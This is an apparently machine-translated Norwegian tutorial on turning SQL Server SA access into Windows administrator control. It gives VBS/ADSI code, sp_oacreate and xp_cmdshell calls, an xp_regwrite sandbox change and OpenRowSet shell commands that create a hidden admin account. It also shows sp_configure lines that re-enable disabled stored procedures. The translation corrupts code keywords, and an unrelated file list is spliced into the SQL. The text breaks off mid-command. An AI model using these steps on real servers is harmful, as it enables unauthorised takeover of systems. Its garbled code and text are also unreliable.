Microsoft SQL Server SA tillatelse siste invasive metoden



SA passord for tilgang, ofte fordi systemansvarlig, eller "Forrige" vil net.exe og net1.exe er begrenset til å bruke administrator kontoen kan ikke legges til. Vi vet at VBS i Active Directory (ADSI) del av en winnt objekt, brukes til å administrere lokale ressurser, bruk den og kan derfor ikke stole på CMD kommando kan legge til en administrator, den spesifikke koden som følger:

sette wsnetwork = CreateObject ("WSCRIPT.NETWORK")

os = "WinNT ://"& wsnetwork.ComputerName

Set ob = GetObject (os) får ADSI grensesnitt, bindende

Set oe = GetObject (os & "/ Administratorer, gruppe") 'eiendom, admin-gruppe

Set OD = ob.Create ("bruker", "test") 'opprett en bruker

od.SetPassword "1234" "Angi passord

od.SetInfo 'Lagre

Sett med = GetObject (os & "/ test", bruker) 'får brukeren

oe.add os & "/ test"

Koden ovenfor for å lagre 1.vbs, deretter kjøre kommandoen for "cscript 1.vbs", så vil systemet legge til et system kalt testen, brukerens passord er 1234.. Spesifikk implementering av koden i Query Analyzer som følger:

erklærer @ o int, @ f int, @ t int, @ ret int

exec sp_oacreate 'scripting.filesystemobject', @ o ut

exec sp_oamethod @ o, 'createtextfile', @ f ut, 'c: 1.vbs', 1

exec @ ret = sp_oamethod @ f, 'writeline', NULL, 'sette wsnetwork = CreateObject

("WSCRIPT.NETWORK") '

exec @ ret = sp_oamethod @ f, 'writeline', NULL, 'os = "WinNT ://"& wsnetwork.

Datamaskinnavn "

exec @ ret = sp_oamethod @ f, 'writeline', NULL, 'Set ob = GetObject (os)'

exec @ ret = sp_oamethod @ f, 'writeline', NULL, 'Set oe = GetObject

(Os & "/ Administratorer, gruppen") '

exec @ ret = sp_oamethod @ f, 'writeline', NULL, 'Set od = ob.Create

("Bruker", "test") '

exec @ ret = sp_oamethod @ f, 'writeline', NULL, 'od.SetPassword "1234"'

exec @ ret = sp_oamethod @ f, 'writeline', NULL, 'od.SetInfo'

exec @ ret = sp_oamethod @ f, 'writeline', NULL, 'Sett med = GetObject

(Os & "/ test", bruker) '

exec @ ret = sp_oamethod @ f, 'writeline', NULL, 'oe.add os & "/ test"'

Gjennom ovennevnte uttalelse, og deretter utføre følgende linje med kode, må denne linjen skille gjennomføring, ikke med gjennomføringen av ovennevnte sammen, ellers den ville spørsmål "c: 1.vbs drives av et annet program" kan ikke med hell legge brukeren :

exec master .. xp_cmdshell 'cscript c: 1.vbs'

Hvis systemet brukeren ikke har lagt til, kan det være fordi systemet brukerens passord 1234 er for enkle, ikke oppfyller de komplekse passord policyserveren, vurdere mer kompliserte innstillinger, og deretter teste. Du kan også bruke echo til å skrive 1.vbs kode, koden formatet er:

exec master .. xp_cmdshell 'echo satt wsnetwork = CreateObject ("WSCRIPT.NETWORK")

1.vbs '

Men vet ikke hvorfor alle med "&" tegn i kommandolinjene ikke kan skrive 1.vbs, interessert i det en venn kan prøve å løse.

Ved hjelp av jet sand tabellen Modellen kan løses XP_cmdshell andre lagrede prosedyrer og aktuelle biblioteket for dynamiske koblinger irritasjonsmoment. Av sikkerhetsmessige grunner, at systemet ikke standard å åpne sandbox-modus, som krever xp_regwrite åpen sandbox-modus:

Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWAREMicrosoftJet4.0

Motorer ',' SandBoxMode ',' REG_DWORD ', 1

Så løpe sanden tabellen kommandoen, legger systemet til en bruker som heter test, passord for 1234 brukere:

velg backup bin conf config data eshow_sitemap.html generate.sh logge maint sitemap.html svn tmp fra OpenRowSet ('microsoft.jet.oledb.4.0', '; database = c: windows

system32iasias.mdb ',' Velg skall ("cmd.exe / c nett bruker test 1234 / add") ')

velg backup bin conf config data eshow_sitemap.html generate.sh logge maint sitemap.html svn tmp fra OpenRowSet ('microsoft.jet.oledb.4.0', '; database = c: windows

system32iasias.mdb ',' Velg skall ("cmd.exe / c netto localgroup

administratorer test / add ") ')

Forskjellige operativsystemer, er banen ikke det samme behovet for å gjøre endringer i situasjonen:

NT/2K: c: winntsystem32
XP/2003: c: WindowsSystem32
Microsoft SQL Server2005 annen standard, er noe av den lagrede prosedyren lukket og krever en kommando for å åpne:

Åpen XP_cmdshell:

EXEC sp_configure "Vis avanserte valg ', 1; rekonfigurere; EXEC sp_configure

'Xp_cmdshell', 1; setja;

Åpne "OpenRowSet ':

exec sp_configure "Vis avanserte valg ', 1; rekonfigurere; Exec sp_configure

"Ad Hoc distribuerte søk ', 1; setja;

Åpne "sp_oacreate ':

exec sp_configure "Vis avanserte valg ', 1; rekonfigurere; Exec sp